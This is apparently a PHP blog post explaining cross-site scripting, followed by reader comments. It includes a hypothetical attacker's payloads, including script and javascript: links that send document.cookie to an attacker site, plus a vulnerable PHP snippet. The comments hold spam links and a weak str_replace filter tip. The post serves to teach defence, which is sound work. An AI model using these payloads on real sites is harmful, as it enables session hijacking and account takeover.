Cross Site Scripting Could Make You Lose Your Cookies

Tweet

Cross Site Scripting (XSS) is a form of security exploit that threatens any web application. Its severity is often underestimated. The problems go far beyond annoyances and practical jokes. By stealing your cookies, Cross Site Scripting attacks can allow attackers to gain administrative access to your CMS.

How does it come about? The problem forms when a web application (such as a PHP script) displays user-submitted content without filtering it. If a user submits a guestbook entry, a blog comment, or even a username and password, that content could contain all sorts of nasties that need to be filtered out if they are to be displayed in a Webpage. These may be either relatively harmless – for example, practical jokes – or malicious – code that is intended to gain private information in order to break into your system. Typically these ‘nasties’ are scripts – hence the name ‘Cross Site Scripting’.

Relatively harmless uses of Cross Site Scripting:

  • HTML code intended to disrupt the layout or appearance of a Webpage.
  • Scripts, applets or objects intended as a practical joke, displaying annoying messages or popups.

Some more harmful uses of Cross Site Scripting:

  • Misleading hyperlinks which link to URLs that would cause action to occur, ie logging out a user, making a post, or changing a password.
  • Scripts or "javascript:" hyperlinks designed to collect private information from cookies and transmit it to a third party website in order to gain administrator access to the system.
  • Objects or applets intended to exploit a known security vulnerability in a particular browser.

Life Cycle of a Cross Site Scripting Exploit

I find that Cross Site Scripting can be a difficult concept to picture. I’ll lead you through a typical Cross Site Scripting scenario, to gives some examples of what is possible.

Joe has built himself a CMS complete with user accounts, sessions and different access levels for different users. To log into his CMS, he enters a username and password into a login form on the site. For the duration of his browser session, a cookie stores his ‘session ID’ which allows him to remain logged-in while navigating around the site.

Joe’s website also allows any user to sign up for a new account, and place a ‘message’ onto the Website. For example, a message can be placed in a blog comment, or in the user’s profile, or even the user’s username. Unfortunately, Joe forgot to use htmlspecialchars in some places where he echoes user-submitted content to the browser.

A malicious user, Rick, signs up at Joe’s website and fills out his new profile page. In his user profile, he includes the text:


<script>alert('Hello World');</script>

Now, whenever Joe (or anybody else) views Rick’s user profile, he gets an annoying JavaScript popup taunting him.

Rick gets a little craftier and places the following code into a blog comment on Joe’s site:


<a href="/usercp.php?action=logout">A webpage about cats</a>

Now, whenever Joe (or anybody else) clicks the link believing it will take them to a Webpage about cats, he will be logged out of his CMS. It’s very annoying, and puzzles Joe for a long time.

It gets worse. Rick now places the following code into a guestbook entry of Joe’s page:


<script>location.replace('http://rickspage.com/?secret='+document.cookie)</script>

Now, whenever Joe (or anybody else) views the guestbook, he will be redirected to a page on Rick’s site. What’s more, the cookie from Joe’s browser session has been transmitted to Rick’s web server as part of the URL.

Rick now uses the cookie from Joe’s browser session to browse Joe’s CMS using Joe’s account. Rick can change Joe’s password, give himself administrator access, or start deleting content.

Rick gained administrator access to Joe’s CMS by placing a <script> tag into Joe’s guestbook. What we are dealing with here is <i>session hijacking</i> – stealing the session ID (which is often stored in a cookie) from another user in order to impersonate them on the system.

Rick could have used other methods to achieve the same result. For instance, Rick could have used a JavaScript link to trick Joe into sending the very same information to his server:


<a href="javascript:location.replace('http://rickspage.com/?secret='+document.cookie)">
A Webpage about dogs</a>

If Joe clicked that link, as he probably does often, his session ID would be transmitted to Rick’s server.

Furthermore, Rick could have embedded his JavaScript into event handler attributes such as ‘onclick’, ‘onmousemove’ and ‘onsubmit’ – the latter which could be used to modify a form on the site.

Rick could also have tried using tools other than JavaScript – such as ActiveX controls or applets.

Patch Those Holes

Below are some steps which you can take to help prevent Cross Site Scripting attacks from being used on your PHP application.

Whenever displaying user-submitted content on your Website, use htmlspecialchars on the data before echoing it. This includes data that comes from a database.

You may be displaying unfiltered user-submitted content where you don’t realise it. For example, the following is dangerous.


if (strlen($_GET['username']) > 12)
{
  exit("Error: {$_GET['username']} is too long.  Your username may be nor more than 12 characters");
}

In this case, the user variable "username" is being sent to the browser unfiltered. A user could construct a URL similar to the following and trick people into clicking it:



http://www.example.com/register.php?username=<script>alert('gotcha');</script>

That JavaScript is harmless, but could be modified to steal information from cookies and transmit it to a third party.

You can also reduce the amount of damage that could be done if a user does hijack a user session. When designing your CMS, do not rely entirely on cookies for user authentication. In addition to the cookie, users should also be asked for their password when they take certain high-risk actions such as using the ‘administrator’ section of your CMS, or changing their password. So, if your session is hijacked using your session ID, the attacker won’t be able to change your password or seriously damage your website. Reducing the risk in the case of an attack, however, should be a secondary priority to preventing an attack in the first place.

Testing for Cross Site Scripting Vulnerabilities in Your Application

A quick way to test for Cross Site Scripting vulnerabilities is to insert the following code into any user-submitted variable. For example, paste the following code into your blog comment form:


<script>alert('Hello World!');</script>

Then, visit your blog to see what the comment looks like. If you see the code as you submitted it, your application handled it correctly. If your comment is blank, and you see a JavaScript popup, your application is vulnerable.

It’s important to not just test the obvious places where users can submit content. Think outside the square. For example, you display usernames all over the place – could a user possible embed HTML or JavaScript into a username? What about signatures? Secret questions and answers?

Cross Site Scripting can even be a problem in situations where HTML is filtered out of user-submitted content but another markup language is used:

BBcode:


[url=javascript:alert('Yes');]Are you vulnerable?[/url]

Wiki markup:


The above two exploits (for bulletin boards and Wikis) require an unsuspecting user to actually click the link in order for the script to be executed. Interestingly, the Wiki we use in-house at SitePoint is vulnerable. If anybody is tricked into clicking a link, any JavaScript in that link will run.

Thankfully, vBulletin does not appear to be vulnerable to javascript: links submitted using the method above.

More information about Cross Site Scripting is available in this CERT Advisory and this document from Apache. The Apache document points out that the name "Cross Site Scripting" is a misleading term, since the attacks need not involve scripting, and they need not even be across sites. Previously in this blog, Harry talks about Handling Content From Strangers, which gives some more information on how you can protect your application from exploits.

Have a look at this very thorough article by Chris Shiflett on preventing Cross Site Scripting attacks.

Cross Site Scripting is only one possible form of remote attack on a web application. It is probably one of the most common vulnerabilities in web applications, along with the SQL Injection vulnerability which has been discussed before in this blog in relation to magic quotes in PHP.

Free book: Jump Start HTML5 Basics

Grab a free copy of one our latest ebooks! Packed with hints and tips on HTML5's most powerful new features.

  • me

    You can do it with image src as well, so people should think they’re safe if eliminating script tags.

  • Vennie

    Wow, very well explained. Be sure to check out the php.ini settings as well.

  • johnnyv

    Yes this is a nice explanation thanks.

  • http://www.realityedge.com.au mrsmiley

    No offense intended Thomas, but I’ve always wondered since these blogs started up, what the difference is between them and articles? Aren’t blogs someones opinion and articles reference material? This entry would have made an excellent article. I haven’t seen the full XSS lifecycle explained anywhere before.

  • http://nathanwwong.com someonewhois

    Where’s Harry? His posts were interested — seriously, no offense to you Tom, but the PHP blog used to be really cool and innovative stuff. Now it’s routine stuff… this would have made a great reference article as mrsmiley has said, but it just doesn’t feel like it fits in the blog.

    I guess I’m still not used to Harry being gone. You have HUUUUUUGE shoes to fill Tom (ah, you did when Wayne left too… man, you really have your work cut out for you).

  • http://www.homeorchardsociety.org SRTech

    Great post Tom! Keep up the good work!

    someonewhois, Harry seems to be over at the Ajax blog

  • Lord Brar

    Woah Tom! That post was really interesting. :) Thanks for explaining it in easy words so as a n00b like me could understand it.

  • http://www.deanclatworthy.com Dean C


    $string = str_replace('javascript', '', $string);
    I always do that within my internal data handler functions just to be safe.

  • kiang

    Hi. Could I translate this article to Traditional Chinese for TWPUG( Taiwan PHP User Group)?? :)

  • http://www.casualcode.com eXplosive

    Nice post! I will be sure to take note of things that I already do not do.

  • Jordi

    Very nice post! congratulations!

  • Martin

    To eliminate session ID hijacking it’s safer IMHO to use session_regenerate_id( ); once someone has logged in and on any subsequent page visit – just a thought :)

  • Careful

    Watch out for things like eval(‘scr’+”+pt’)

  • Stephen

    Everytime I tried to view this article, I was redirected to http://rickspage.com/, When I hit the back button, I was immediately redirected to http://rickspage.com/ again. The only way I was able to read this page was to temporarily turn off JavaScript and try again.

  • http://ukraine.klitr.com Nic-08-07
  • http://cudeptdir.ocs.columbia.edu/classified/classifiedsearch.cfm?department_name=3Ca+href3D2F2Fonline.njcu.edu/its/blog/jvelasco/archshow.asp?var=1133Edesigner+replica+watches3C2Fa3E Katherine

    Hello, nice site!
    replica panerai watches

    8) See you

  • ckitas zinm

    prgwtymc cruw cevyptf qhugrkj tjzfeoh pmfho rzcltn

  • http://payday-advances.emgoh.com Sveta

    Wonderful pages! Keep up the grat work.

  • Mehul solanki

    nice code…